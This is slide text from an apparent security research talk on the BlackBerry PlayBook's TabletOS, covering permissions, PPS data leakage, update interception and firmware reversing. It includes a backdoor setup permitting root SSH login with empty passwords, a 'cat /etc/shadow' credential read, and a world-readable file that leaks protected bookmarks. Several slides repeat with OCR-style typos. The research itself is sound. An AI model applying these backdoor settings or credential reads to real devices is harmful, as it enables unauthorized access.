A Replicant By Any Other Name

A Security Analysis of the BlackBerry PlayBook
Zach Lanier
Principal Consultant

Ben Nell
Consultant
Zach Lanier
Principal Consultant
Ben Nell
Consultant
Why the Playbook?
"Need For Speed" preinstalled!
Attention received by governments after FIPS140-2 certification
Australian government approved use of PlayBook

Russian government considered ban on iPads in favor of PlayBooks
Foundation of next BBOS (BBX)
...and QNX is kind of interesting!
• Hasn’t received much public attention (research-wise) *
• We wanted to explore a new platform, fresh from the ground up
• ...and we've only scratched the surface :)

* - Prior research: NGS paper August, 2011
“Blade Runner” is awesome
“Blade R

Deckard hunts Replicants (he’s an *android killer*)
PlayBook codename = “Deckard”
And proceeding with that theme...
Replicant (F) Des: ZHORA
NEXUS 6 N6FAB61216
Incept Date: 12 JUNE., 2016
Phys: LEV. A
Ment: LEV. B

"Playbook Overview"
"OS Security"
"Platform Security"
"Application Security"
Base platform

- TI OMAP4430 (dual-core ARM Cortex A9)
- TabletOS (based on QNX Neutrino RTOS v6.6)
Operating system – QNX Neutrino RTOS

Advanced runtime technologies
- Adaptive partitioning
- Fast boot
- Wireless and secure networking
- Multi-core

High availability
- POSIX utilities
- Device drivers
- Networking

HMI technologies
- File systems

Messaging layer
- Memory protected applications
- Secure kernel space

QNX Neutrino RTOS microkernel

QNX board support packages

Processor architectures
- x86
- SH-4
- PowerPC
- MIPS
- ARM
Major Components

- WebKit (534.11 / Safari 7.1.0.7)
- Adobe Flash 10.3
- Adobe AIR 2.7
- BlackBerry Bridge (connects PlayBook to BlackBerry handheld for email, data sync, etc.)
Applications

• Typically developed in ActionScript (AIR) or HTML and JavaScript (WebWorks)
• NDK (currently in closed beta testing) allows for developing, running native (read: unmanaged) code
• 1:1 process mapping
Hardware Security Features

- Execute Never (XN) memory page protection supported by ARM; not observed as used by TabletOS
- TrustZone (execution isolation; often for DRM) also not observed as used by core OS
- Secure boot feature limits which firmware can boot (presumably only images signed by RIM)
Exploring the system

- Benefits of a dual market - existing user community and product support (RTFM)
- Artifacts of pre-RIM QNX
- Firmware images
- Development tools...

- Simulator - x86 build of Tablet OS in a
• Development tools...

• Simulator - x86 build of Tablet OS in a VMware image
• QNX SDP - Provides an x86 build of QNX 6.5 in a VMware image
• Raw access to the Simulator file system
Backdooring the Simulator

- Add sshd to a startup script
- Allow root login and blank passwords
- Run the daemon on !22
- To make live changes, remount the filesystem as writable (mount -u -w /base)
orange:~ bnell$ ssh -p 2222 root@172.16.218.133
[1] 2547777
#
# uname -a
QNX localhost 6.6.0 2011/05/25-14:29:31EDT x86pc x86
#
Port 2222
Protocol 2
LoginGraceTime 600
PermitRootLogin yes
PermitEmptyPasswords yes

`tail -1 /scripts/env.sh`  
`/usr/sbin/sshd -p 2222 -q -f /scripts/sshd_config &`  
`cat /etc/shadow`  
`root::14600::::::`
OS Security

- Core
- Permissions
- authman
- PPS
QNX – Core

- Microkernel, only truly trusted component
- Separation of network, I/O, HMI, etc. into separate components
- Trusted boot process
- Memory address randomization in place
$ cat /etc/passwd
root:x:0:0:Superuser:/root:/bin/sh
bin:x:1:1:Binaries Commands and Source:/bin:
sshd:x:15:6:sshd:/var/chroot/sshd:/bin/false
logger:x:25:25:Logging:/var/log:
media:x:80:80:Media Services:/
upd:x:88:88:Software Update Service:/
apps:x:89:89:Application:/apps:
guest:x:90:90:Guest:/
nobody:x:99:99:Nobody:
devuser:x:100:100:Development User:/accounts/devuser:/bin/sh
dtm:x:101:101:Desktop Manager:/

$ ls -ltr /apps/

474 total

drwxr-xr-x  7 root  nto 4096 Dec 31  1969 ..
drwxr-xr-x  4 apps 10000 4096 Jul 14 23:19 .0.sys.browser.gYABgJYFHAAzbeFMPCCpYWbtHA0
    drwxr-xr-x  4 apps 10001 4096 Jul 14 23:19 .0.sys.firstlaunch.gYABGE1L_ly.sjw85E1SCBQsrc0
    drwxr-xr-x  4 apps 10002 4096 Sep 10 17:09 sys.pictures.gYABgFZe.pCiYHqci1zC1epj0mps
    drwxr-xr-x  4 apps 10003 4096 Sep 10 17:09 sys.help.gYABgPG.Su8AzxaqqONbaanIprc
    drwxr-xr-x  4 apps 10004 4096 Sep 10 17:09 sys.bridgeMemoPad.gYABgNANNsbWVSWZpC4.aBaaV1E
    drwxr-xr-x  4 apps 10005 4096 Sep 10 17:09 sys.bridgeMessages.gYABgH_nFAPFLgYWPsGIizC Kh7qJ
    drwxr-xr-x  4 apps 10006 4096 Sep 10 17:09 sys.bridgeBBM.gYABgPzxYryKyf4ijvmGsvvE7BQ
    drwxr-xr-x  4 apps 10007 4096 Sep 10 17:09 sys.vi0cerecorder.gYABgCpT2FraBqy1C1s2btWJS_S4
    drwxr-xr-x  4 apps 10000 4096 Sep 10 17:09 sys.browser.gYABgJYFHAAzbeFMPCCpYWbtHA0
    drwxr-xr-x  4 apps 10008 4096 Sep 10 17:09 sys.vi0cerecorder.gYABgO7__nm2.YHn_1Mj6yX1oLO
    drwxr-xr-x  4 apps 10009 4096 Sep 10 17:09 sys.dxtg.wtg.gYABgKH0JhT7tasXrfXuyNxNaew
    drwxr-xr-x  4 apps 10010 4096 Sep 10 17:09 sys.dxtg.sstg.gYABgLHf.C6ER6tWA.ObKNalQV
    drwxr-xr-x  4 apps 10001 4096 Sep 10 17:09 sys.firstlaunch.gYABgE1L_ly.sjw85E1SCBQsrc0
    drwxr-xr-x  4 apps 10011 4096 Sep 10 17:14 sys.weather.gYABgK0fo0EhVEwToCrbBQ00sPsG
    drwxr-xr-x  4 apps 10012 4096 Sep 10 17:15 sys.caculator.gYABgJidBvuVZ89n_1j4PVZ712.A
    drwxr-xr-x  4 apps 10013 4096 Sep 10 17:15 sys.airtunes.gYABgCWWHiycHHiFjXeyIyW1qvo
    drwxr-xr-x  4 apps 10014 4096 Sep 10 17:15 sys.bridgeCalendar.gYABgMyHc.mTKnr5EXdmdE39e8
    drwxr-xr-x  4 apps 10015 4096 Sep 10 17:15 sys.screensaver.video.gYABgK.iWjIXy60hbcuek34rEfC
    drwxr-xr-x  4 apps 10016 4096 Sep 10 17:15 sys.bridgeContacts.gYABgRg1TmKnAlbYC69FVUlGllo
    drwxr-xr-x  4 apps 10017 4096 Sep 10 17:15 com.facebookforplaybook.gYABgGlO dynamic.gYABgLidTQgMRVqyKV83okZVly
    drwxr-xr-x  4 apps 10018 4096 Sep 10 17:15 sys.bridgeBrowser.gYABgFX7ZKap5vqkK1khM1z0P0A
$ cat /etc/group
nto:x:0:root,upd
bin:x:1:root,bin
daemon:x:2:
sys:x:3:root,bin
adm:x:4:root
tty:x:5:root
sshd:x:6:
logger:x:25:logger
pps:x:86:
upd:x:88:upd
apps:x:89:apps,upd
guest:x:90:guest
nobody:x:99:
devuser:x:100:devuser
protected_media:x:101:
1000:x:1000:devuser
1000_shared:x:1001:devuser
1000_sys:x:1002:
1000_certs:x:1003:
dev0:x:900:devuser
dev1:x:901:devuser
dev2:x:902:devuser
dev3:x:903:devuser
dev4:x:904:devuser
dev5:x:905:devuser
dev6:x:906:devuser
dev7:x:907:devuser
dev8:x:908:devuser
dev9:x:909:devuser
Networking Security

- OpenBSD pf
- authman handles setting up (app) GID:rule mapping
- Primarily for limiting access to SapphireProxy on 127.0.0.2 (?)
- Bozotic HTTP server - remotely on 80/tcp and 443/tcp (a bit more on this later)
- Bluetooth - typical security (pairing, PINs, crypto, etc.)
- Samba 3.0.37 - on when file sharing enabled
- qconnDoor - always listening
Permissions and Authorizations

- Filesystem permissions for sandboxing, but... also uses POSIX ACLs (augment filesystem perms)
- authman - service that manages, among other things, mapping app permissions to system level resources
- A whole lot of shell script and Python glue to bind it all together ( <--interesting attack surface)
authman

- /etc/authman
- Pair of files (".res" & ".acl"), named for profile type
- carrier.acl? Future plans? :)
- /dev/authman
Controls access to app permissions (allow, prompt, deny)
Sets FACLs on filesystem objects based on app permission requested
**PPS**

- "Persistent Publish/Subscribe"
- Allows publishers & subscribers to share data as objects on filesystem (and receive notifications as updates are made to objects)
- Metafile system of sorts in "/pps", often used for service and system config data in TabletOS
PPS

• Though tight perms and FS ACLs restrict access to individual PPS files, certain metafiles, which aggregate contents of other files, are world-readable
• Example: browser bookmarks is not readable, but ".all" metafile is -- effectively revealing browser bookmarks, last accessed, title, in JSON format
$ pwd
/pps/system
$ ls -l bookmarks
-rw-rw----+ 1 root    nto          1018 Oct  5 12:15 bookmarks
$ getfacl bookmarks
# file: bookmarks
# owner: root
# group: nto
user::rw-
group::rw-
group:nto:rw-
mask::rw-
other::----
$ cat bookmarks
bookmarks: Permission denied
$ cat .all
@bookmarks
Platform Security

• Application delivery
• Development access
• System updates
Perimeters & FS encryption

- "Perimeters" = "secured" isolation of accounts, data
- Appears to be pivotal to "Balance" and bridge features
- /scripts/perimeter.sh - called by a privileged process (?) "creates and destroys user account perimeters on FS"
- fsencrypt command creates "encryption domain"/container
Application Delivery Model

- App World - loose integration with the OS
- Side-loading applications
- Application permission management
- Code signing requirements
Application Installation

• Installer
• Authman permissions, sandboxing
• Python and shell script glue
Application License Management

- Huh?
- A seemingly likely potential for software piracy...
- ... or not
Ridiculous.
Development Mode

- Side-load applications
- Obtain a minimum-privileged SSH shell
- User interaction required
- SDK tools
- qconndoor
- Web services running on the Playbook
Huh?
• Bozotic HTTPD running via inetd
• CGI scripts - mostly compiled binaries
RLogging.cgi
discovery.cgi
appInstaller.cgi
backup.cgi
dynamicProperties.cgi
login.cgi
reset.cgi
update.cgi
wipe.cgi
qconndoor

- Brokers "devuser" SSH connections
- User uploads an SSH pub certificate
- Service starts sshd and allows login with "devuser" account
- Certificate writing race condition?
else
    v2 = (int)"AllowUsers=devuser";
v6 = (int)"/usr/sbin/sshd";
v7 = (int)"-D";
v8 = (int)&unk_9B48;
v9 = (int)"permitopen="127.0.0.1:8000"";
v10 = (int)&unk_9B48;
v11 = (int)"PasswordAuthentication=no";
v12 = v1;
v13 = v2;
v14 = 0;
memset(&s, 0, 0x58u);
s = 1;
v5 = 0;
*(DWORD *)(a1 + 136) = spawn("/usr/sbin/sshd", 0, 0, &s, &v6, 0);
if ( *(_DWORD *)(a1 + 136) < 0 )
Platform Updates

- HTTP/HTTPS requests
- The Playbook receives a list of what packages are available and decides whether or not he wants to update
- Separate certificate chains
- X.509 checks enforce "blackberry.com" certificates
This check was not always enforced...
This check was not always enforced...

But what does MITM'ing updates get us?

- Out-of-the-box updating can be bypassed
- A user can force a Playbook to a specific version
But what does MRRing updates get us?

- Out-of-the-box updating can be bypassed
- A user can force a Playbook to a specific version
- Allowed us to learn more about the update process
POST /cs/cs HTTP/1.1
Host: playbook.websl.blackberry.com
Accept-Encoding: deflate, gzip
Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, text/css, image/png, image/jpeg, image/gif;q=0.8, application/x-shockwave-flash, video/mp4;q=0.9, flv-application/octet-stream;q=0.8, video/x-flv;q=0.7, audio/mp4, application/futuresplash, */*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; undefined) AppleWebKit/531.9 (KHTML, like Gecko) AdobeAIR/2.5
x-flash-version: 10.1,94,181
Connection: Keep-Alive
Referer: app:firstlaunch.swf?debug=true
Content-Type: text/xml
Content-Length: 261

<bundleVersionRequest version="3.0">
<hwid>0x06001a06</hwid>
<vendorid>504</vendorid>
<pin>0x500e82f2</pin>
<billingID>1057455534</billingID>
<langid>0</langid>
<bundle platform-ver="1.0.0.1439" apps-ver="1.0.0.1439"/>
</bundleVersionRequest>

the request...

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=UTF-8
Content-Length: 2743
Date: Fri, 14 Oct 2011 01:51:21 GMT
This version offers support for new languages, BlackBerry Bridge updates and Multi-media enhancements. Get the full list here: www.blackberry.com/playbook

This version offers support for Flash 10.3 and updates to Adobe AIR to support developers. Get the full list here: www.blackberry.com/playbook

This update includes enhancements to your BlackBerry Playbook Device Software. Get the full list here: www.blackberry.com/playbook

This version offers PlayBook to PlayBook Video Chat, BBM over BlackBerry Bridge, browser bookmark features, and more. Get the full list here: www.blackberry.com/playbook

This version offers improvements to the software update process and video chat, adds new languages, preloads Facebook and more. Get the full list here: www.blackberry.com/playbook

This version offers support for new languages, BlackBerry Bridge updates and Multi-media enhancements and additional fixes. Get the full list here: www.blackberry.com/playbook

This version offers improvements to the software update process and video chat, adds new languages, provides a security update for Adobe Flash Player, preloads Facebook and more. Get the full list here: www.blackberry.com/playbook
...the response

We're looking at available "bundle" versions.
We're looking at available "bundle" versions.

requesting an individual bundle...

POST /cs/cs HTTP/1.1
Host: playbook.websl.blackberry.com
Accept-Encoding: deflate, gzip
Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, text/css, image/png, image/jpeg, image/gif;q=0.8, application/x-shockwave-flash, video/mp4;q=0.9, flv-application/octet-stream;q=0.8, video/x-flv;q=0.7, audio/mp4, application/futuresplash, */*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; undefined) AppleWebKit/531.9 (KHTML, like Gecko) AdobeAIR/2.5
x-flash-version: 10,1,94,181
Connection: Keep-Alive
Referer: app:/firstlaunch.swf?debug=true
Content-Type: text/xml
Content-Length: 268

<bundleUpgradeRequest version="3.0">
<hwid>0x06001a06</hwid>
<pin>0x500e82f2</pin>
<billingID>1057455534</billingID>
<vendorid>504</vendorid>
<bundle scm-ver="1.0.7.3312"/>
<mode>upgrade</mode>
<isolocale>en_US</isolocale>
</bundleUpgradeRequest>
Ah ha! "coreos"
Firmware Images

- Signed, however they still provide utility to us
- Static binary analysis
- Production configuration data
- A root-perspective of the platform without root access
- Our best bet for finding exploitable conditions
<table>
<thead>
<tr>
<th>Time</th>
<th>Hexadecimal Values</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000h</td>
<td>6D 66 63 71</td>
<td>mfcq</td>
</tr>
<tr>
<td>0010h</td>
<td>00 00 01 00</td>
<td></td>
</tr>
<tr>
<td>0020h</td>
<td>71 63 66 70 OA 6A 71 B4</td>
<td></td>
</tr>
<tr>
<td>0030h</td>
<td>00 00 01 00</td>
<td></td>
</tr>
<tr>
<td>0040h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>0050h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>0060h</td>
<td>71 63 66 70 96 06 62 FD</td>
<td></td>
</tr>
<tr>
<td>0070h</td>
<td>00 00 01 00</td>
<td></td>
</tr>
<tr>
<td>0080h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>0090h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>00A0h</td>
<td>71 63 66 70 E2 31 A3 7F</td>
<td></td>
</tr>
<tr>
<td>00B0h</td>
<td>00 00 01 00</td>
<td></td>
</tr>
<tr>
<td>00C0h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>00D0h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>00E0h</td>
<td>71 63 66 70 E3 B0 E0 68</td>
<td></td>
</tr>
<tr>
<td>00F0h</td>
<td>00 00 01 00</td>
<td></td>
</tr>
<tr>
<td>0100h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>0110h</td>
<td>EF 05 00 00</td>
<td></td>
</tr>
<tr>
<td>0120h</td>
<td>B8 18 00 00</td>
<td></td>
</tr>
<tr>
<td>0130h</td>
<td>00 00 00 00</td>
<td></td>
</tr>
<tr>
<td>0140h</td>
<td>71 63 66 70 96 B5 42 27</td>
<td></td>
</tr>
<tr>
<td>0150h</td>
<td>00 00 01 00</td>
<td></td>
</tr>
<tr>
<td>0160h</td>
<td>02 00 00 00</td>
<td></td>
</tr>
</tbody>
</table>

So what are we looking at?
Usage is qcfm <block size> [<ctrl file> <data file>] ... <output file>
ERROR Unsupported VERSION %d > %d

ERROR Control file %s is not a multiple of 32B : %lld
ERROR Invalid data file size, expected %ld, got %lld
ERROR Invalid block size %d != %d

GCC: (GNU) 4.4.2
GCC: (GNU) 4.4.2
GCC: (GNU) 4.4.2
GCC: (GNU) 4.4.2
GCC: (GNU) 4.4.2
GCC: (GNU) 4.4.2

%C - Creates a QCFRM qcfp container.
NAME=qcfm
DESCRIPTION=qcfm

"/base/bin/qcfm"

def _qcfp(self, src):
    data = src.read(self. ControlFile.size)
%C - Squeezes a qnx6fs image down to just it's allocated blocks.
%C [i] [-s <osregion>] [-o <offset>] -d<device> -p<partition> -f <input_file>
Where:
  -i IFS mode. tells %C to not parse the input file, and simply wrap it in a header.
  -s Special attributes. Accepts a getsubopt() formatted list of attributes to set.
    The current attributes are:
      osregion   - The qcfp file has to take into account the active
                   OSRegion setting in NVRAM.
      cfponly    - The qcfp file is to be loaded by CFP only.
  -o <offset> An offset to add to the start of the uncompressed file.
  -d <device> The device number to program this image to
  -p <partition> The partition number to program this image to.
  -f <input file> A qnx6 filesystem image to compress.
NAME=qcfp
DESCRIPTION=qcfp

"/base/bin/qcfp"
def _qcfp(self, src):
    data = src.read(self._ControlFile.size)
    cf = self.ControlFile._make(self._ControlFile.unpack(data))
    logger.debug('QCFP %s', cf)
    if cf.magic != 'qcfp':
        raise QcfmFileError('missing QCFP magic')
    if cf.version != 1:
        raise QcfmFileError('unsupported QCFP version')
    if cf.flags & ~self.QCFP_FLAGS:
        raise QcfmFileError('unsupported QCFP flags value')
    (crc, crcsz,) = checksum(data[8:])
    rr = []
    for i in range(cf.nrecords):
        data = src.read(self._RunRecord.size)
        (crc, crcsz,) = checksum(data, crc, crcsz)
        run = self.RunRecord._make(self._RunRecord.unpack(data))
        logger.debug(run)
        if run.offset < 0 or run.count < 0:
            raise QcfmFileError('unsupported QCFP run')
        if run.count > 0:
            rr.append(run)
    if cf.checksum != checksum_done(crc, crcsz):
        raise QcfmFileError('bad QCFP header CRC')
    if not rr:
        raise QcfmFileError('empty QCFP')
    return (cf, rr)
def _qcfm(self, src):
    data = src.read(self._MultiHeaderFile.size)
    qcfm = self.MultiHeaderFile._make(self._MultiHeaderFile.unpack(data))
    logger.debug('QCFM %s', qcfm)
    if qcfm.magic != 'qcfm'[None]:
        raise QcfmFileError('missing QCFM magic')
    if qcfm.version != 1:
        raise QcfmFileError('unsupported QCFM version')
    qcfps = []
    for i in range(qcfm.nheaders):
        (cf, rr,) = self._qcfp(src)
        qcfps.append(((cf, rr))

    src.read(qcfm.headersz - src.tell())
    if not qcfps:
        raise QcfmFileError('empty QCFM')
    return (qcfm, qcfps)

"/usr/lib/python2.7/site-packages/deckard/installer/coreos.pyc"
• QNX6 file system partitions - with something funky? Compression?
• Forensics tools don’t speak QNX file systems...
Reversing the QNX6 file system

- binwalk?
- The QNX SDP
- Extracting a Playbook "base" partition
- Identifying structures with "chkqnx6fs"
- Parsing the superblock
- Block counts
- Inode tables
- Directory maps
- Carrier's "File System Forensics"
- Not perfect...
<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEX</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>67611</td>
<td>0x1081B</td>
<td>ELF</td>
</tr>
<tr>
<td>327021</td>
<td>0x4FD6D</td>
<td>LZMA compressed data, properties: 0xA2, dictionary size: 646971392 bytes, uncompressed size: 419463186 bytes</td>
</tr>
<tr>
<td>327085</td>
<td>0x4FDAD</td>
<td>LZMA compressed data, properties: 0xA2, dictionary size: 647495680 bytes, uncompressed size: 419463186 bytes</td>
</tr>
<tr>
<td>327277</td>
<td>0x4FE6D</td>
<td>LZMA compressed data, properties: 0xC1, dictionary size: 649068544 bytes, uncompressed size: 285245458 bytes</td>
</tr>
<tr>
<td>327917</td>
<td>0x500ED</td>
<td>LZMA compressed data, properties: 0x92, dictionary size: 654311424 bytes, uncompressed size: 285245458 bytes</td>
</tr>
<tr>
<td>327981</td>
<td>0x5012D</td>
<td>LZMA compressed data, properties: 0x92, dictionary size: 654835712 bytes, uncompressed size: 285245458 bytes</td>
</tr>
<tr>
<td>328621</td>
<td>0x503AD</td>
<td>LZMA compressed data, properties: 0xA1, dictionary size: 659292160 bytes, uncompressed size: 285245458 bytes</td>
</tr>
<tr>
<td>328685</td>
<td>0x503ED</td>
<td>LZMA compressed data, properties: 0xB1, dictionary size: 659816448 bytes, uncompressed size: 285245458 bytes</td>
</tr>
<tr>
<td>346776</td>
<td>0x54A98</td>
<td>LZMA compressed data, properties: 0x88, dictionary size: 1207959552 bytes, uncompressed size: 134217730 bytes</td>
</tr>
<tr>
<td>346876</td>
<td>0x54AFC</td>
<td>LZMA compressed data, properties: 0x90, dictionary size: 1912602624 bytes, uncompressed size: 134217730 bytes</td>
</tr>
<tr>
<td>346896</td>
<td>0x54B10</td>
<td>LZMA compressed data, properties: 0x94, dictionary size: 1929379840 bytes, uncompressed size: 134217730 bytes</td>
</tr>
<tr>
<td>347336</td>
<td>0x54CC8</td>
<td>LZMA compressed data, properties: 0xC0, dictionary size: 1140805688 bytes, uncompressed size: 134217728 bytes</td>
</tr>
<tr>
<td>347416</td>
<td>0x54D18</td>
<td>LZMA compressed data, properties: 0xC8, dictionary size: 1442840576 bytes, uncompressed size: 1 bytes</td>
</tr>
<tr>
<td>347436</td>
<td>0x54D2C</td>
<td>LZMA compressed data, properties: 0xC8, dictionary size: 1459617792 bytes, uncompressed size: 1 bytes</td>
</tr>
<tr>
<td>347456</td>
<td>0x54D40</td>
<td>LZMA compressed data, properties: 0xCC, dictionary size: 1476395008 bytes, uncompressed size: 1 bytes</td>
</tr>
<tr>
<td>347476</td>
<td>0x54D54</td>
<td>LZMA compressed data, properties: 0xCC, dictionary size: 1493172224 bytes, uncompressed size: 1 bytes</td>
</tr>
<tr>
<td>347536</td>
<td>0x54D90</td>
<td>LZMA compressed data, properties: 0xD4, dictionary size: 1761607680 bytes, uncompressed size: 2 bytes</td>
</tr>
</tbody>
</table>

**binwalk results**

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEX</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>384906</td>
<td>0x5DF8A</td>
<td>ELF LSB</td>
</tr>
<tr>
<td>955390</td>
<td>0xE93FE</td>
<td>ELF 32-bit</td>
</tr>
<tr>
<td>2041758</td>
<td>0x1F279E</td>
<td>ELF 32-bit (HP-UX)</td>
</tr>
<tr>
<td>2117546</td>
<td>0x204FAA</td>
<td>High Sierra CD-ROM filesystem data</td>
</tr>
<tr>
<td>2235520</td>
<td>0x221C80</td>
<td>ELF 32-bit LSB</td>
</tr>
</tbody>
</table>
Reversing the QNX6 file system

- binwalk?
- The QNX SDP
- Extracting a Playbook "base" partition
- Identifying structures with "chkqnx6fs"
- Parsing the superblob
- Block counts
- Inode tables
- Directory maps
- Carrier's "File System Forensics"
- Not perfect...
more binwalk results
Reversing the QNX6 file system

- binwalk?
- The QNX SDP
- Extracting a Playbook "base" partition
- Identifying structures with "chkqnx6fs"
- Parsing the superbblock
- Block counts
- Inode tables
- Directory maps
- Carrier's "File System Forensics"
- Not perfect...
more binwalk results

```
# chqnx6fs -svvv pb179.img
** Display fs-qnx6 Superblock **
Ondisk format: v4, LE (native)
Format time : Thu Jun 16 18:08:00 2011
Volume UUID : 4450c828-4b7e-4adf-b624-c5fb7cf1ac18
Sync time : Sun Oct  9 23:15:36 2011
Sync sequence: 62 (sblk #1)
Flags : 00000100
Blocks : 128508 total, 124633 used, 3875 free
Inodes : 4032 total, 2528 used, 1504 free
Block size : 4096
Reserved blks: 3% (3855 blks)
Alloc groups : 4
```

"known values"
Reversing the QNX6 file system

- binwalk?
- The QNX SDP
- Extracting a Playbook "base" partition
- Identifying structures with "chkqnx6fs"
- Parsing the superbloc
- Block counts
- Inode tables
- Directory maps
- Carrier's "File System Forensics"
- Not perfect...
Reversing the QNX6 file system

- binwalk?
- The QNX SDP
- Extracting a Playbook "base" partition
- Identifying structures with "chkqnx6fs"
- Parsing the superbloc
- Block counts
- Inode tables
- Directory maps
- Carrier's "File System Forensics"
- Not perfect...
Where's the next logical progression?
App Security

• Application bundles
• Application types
• Assessment Methodologies
Application Assessment

- Usual suspects
- MITM’ing network traffic (we like Mallory!)
- WiFi or Simulator is sufficient
- Pull apart the package and statically review the application...
Observing our App World download location
Playbook App Bundles

- Blackberry + JAR = ???
- META-INF, Application directory
- Common bundle type for all installations
- Common permission structure
BAR Manifest format

- Lists package, author, resource information
- Manifest versions
- Lists permissions in versions 1.1+
- Entry point stuff (we'll come back to this)
- Platform-specific newline issues
Application-Specific Controls

- Granular application control
- Some permissions must be requested, but do not prompt the user
- Not all permissions are documented
<table>
<thead>
<tr>
<th>Folder</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>app</td>
<td>This folder contains the files that were installed with your application. These files were packaged with you BAR file. Your application has read-only access to this folder. The Adobe® AIR API property File.applicationDirectory maps to the folder app/air.</td>
</tr>
<tr>
<td>data</td>
<td>This folder contains the application’s private data. The application has full access to read and write files in this folder. The Adobe AIR API property File.applicationStorageDirectory maps to this folder.</td>
</tr>
<tr>
<td>tmp</td>
<td>This folder contains the application’s temporary working files. The application should remove these files regularly. The BlackBerry® Tablet OS might remove these files any time the application is not running.</td>
</tr>
<tr>
<td>logs</td>
<td>This folder contains system logs for an application. Stdin and stdout are redirected to this directory.</td>
</tr>
<tr>
<td>shared</td>
<td>This folder contains subfolders that contain shared data by type. An application cannot write to this directory.</td>
</tr>
<tr>
<td>shared/bookmarks</td>
<td>This folder contains web browser bookmarks that can be shared among applications.</td>
</tr>
<tr>
<td>shared/books</td>
<td>This folder contains eBook files that can be shared among applications.</td>
</tr>
<tr>
<td>shared/clipboard</td>
<td>This folder contains data copied or cut from another application.</td>
</tr>
<tr>
<td>shared/documents</td>
<td>This folder contains documents that can be shared among applications. The Adobe AIR API properties File.documentsDirectory and File.desktopDirectory map to this folder.</td>
</tr>
<tr>
<td>shared/downloads</td>
<td>This folder contains web browser downloads.</td>
</tr>
<tr>
<td>shared/misc</td>
<td>This folder contains miscellaneous data that can be shared among applications.</td>
</tr>
<tr>
<td>shared/music</td>
<td>This folder contains music files that can be shared among applications.</td>
</tr>
<tr>
<td>shared/photos</td>
<td>This folder contains photos that can be shared among applications.</td>
</tr>
<tr>
<td>shared/videos</td>
<td>This folder contains videos that can be shared among applications.</td>
</tr>
<tr>
<td>shared/voice</td>
<td>This folder contains audio recordings that can be shared among applications.</td>
</tr>
<tr>
<td>Value</td>
<td>Capability</td>
</tr>
<tr>
<td>-----------------------</td>
<td>-------------------------------------------------</td>
</tr>
<tr>
<td>access_internet</td>
<td>Access remote resource by using a network connection</td>
</tr>
<tr>
<td>access_shared</td>
<td>Access the shared file system</td>
</tr>
<tr>
<td>play_audio</td>
<td>Access the audio controls</td>
</tr>
<tr>
<td>read_device_identifying_information</td>
<td>Access the PIN and serial number of the tablet.</td>
</tr>
<tr>
<td>read_geolocation</td>
<td>Access the current location of the tablet</td>
</tr>
<tr>
<td>record_audio</td>
<td>Access the audio stream from the microphone</td>
</tr>
<tr>
<td>set_audio_volume</td>
<td>Access the volume control</td>
</tr>
<tr>
<td>use_camera</td>
<td>Access data from one or more cameras</td>
</tr>
</tbody>
</table>

Documented permissions
access_bbid_authenticate
access_bbid_authorize
access_bbid_pii
access_internet
access_shared
allow_app_purchase
perimeter_corp
play_audio
post_notification
read_device_identifying_information
read_geolocation
record_audio
run_air_native
set_audio_volume
use_camera
use_installer
Let's sift through some app meta data...
Permissions, Entry-Point-System-Actions

Whoa! Binaries...
Entry-Point-Name: Citrix Receiver
Entry-Point: app/air/PNAgentMain-app.xml
Entry-Point-Type: Qnx/Air
Entry-Point-Icon: air/assets/000_Receiver_h32bit_86.png
Entry-Point-Orientation: landscape
Entry-Point-User-Actions: access_shared, access_internet
Entry-Point-System-Actions: run_air_native, run_native

Archive-Asset-SHA-512-Digest: UalOa11_vYkjBeQ0Xnfto54A1-b3dYDmi60z8WPgmyhFn98WdLPtA_VzjeGfIRqCmuLievBppGXjoT8i812cA
Permissions, entry point flags...
App World permissions

Entry-Point-Name: App World
Entry-Point: app/air/AppWorld-app.xml
Entry-Point-Type: Qnx/Air
Entry-Point-Icon: air/blackberry-tablet-icon.png
Entry-Point-Splash-Screen: air/splash.png
Entry-Point-Orientation: auto
Entry-Point-User-Actions: use_installer,allow_app_purchase,access_bbid_pii,access_bbid_authorize
Entry-Point-System-Actions: permanent
DeadSpace LD_BIND_NOW
Three Development Platforms (and counting)

- WebWorks
- Adobe AIR
- Native
- Dalvik?
- Java?
Application Breakdown

- 6466 - Total applications
- 6012 - Total applications minus "debug" versions
- 14 - Unique WebWorks applications
- 5929 - Unique AIR applications
- 70 - Unique native applications
WebWorks Applications

- Renders HTML/CSS/JavaScript
- No disassembly required
- Permission can be granted to access external resources ("GMail app")
- Very few...
Adobe AIR Applications

- SWF can be easily "decompiled" back into Action Script
- Fairly easy to read and follow
- Can apparently contain "native" extensions (we think that this is weird)
private function initialize() : void {
    if (this.initialized){
        return;
    }
    this.initialized = true;
    instance = this;
    Utils.retrieveDeviceProperties();
    Utils.retrieveDeviceInfo();
    FilterShortcuts.init();
    this.orientationMode = OrientationModes.LANDSCAPE;
    this.menuMode = MenuModes.SHOW;
    this.currentMenuIndex = 0;
    this._menuOffset = 50;
    this._submenuOffset = 0;
    URLRequestDefaults.userAgent = "AppWorld/2.0";
    NativeApplication.nativeApplication.addEventListener(InvokeEvent.INVOKE, this.nativeApplicationInvokeHandler);
    NativeApplication.nativeApplication.addEventListener(Event.NETWORK_CHANGE, this.nativeApplicationNetworkChangeEvent);
    QNXApplication.qnxApplication.addEventListener(QNXApplicationEvent.SWIPE_DOWN, this.qnxApplicationSwipeDownHandler);
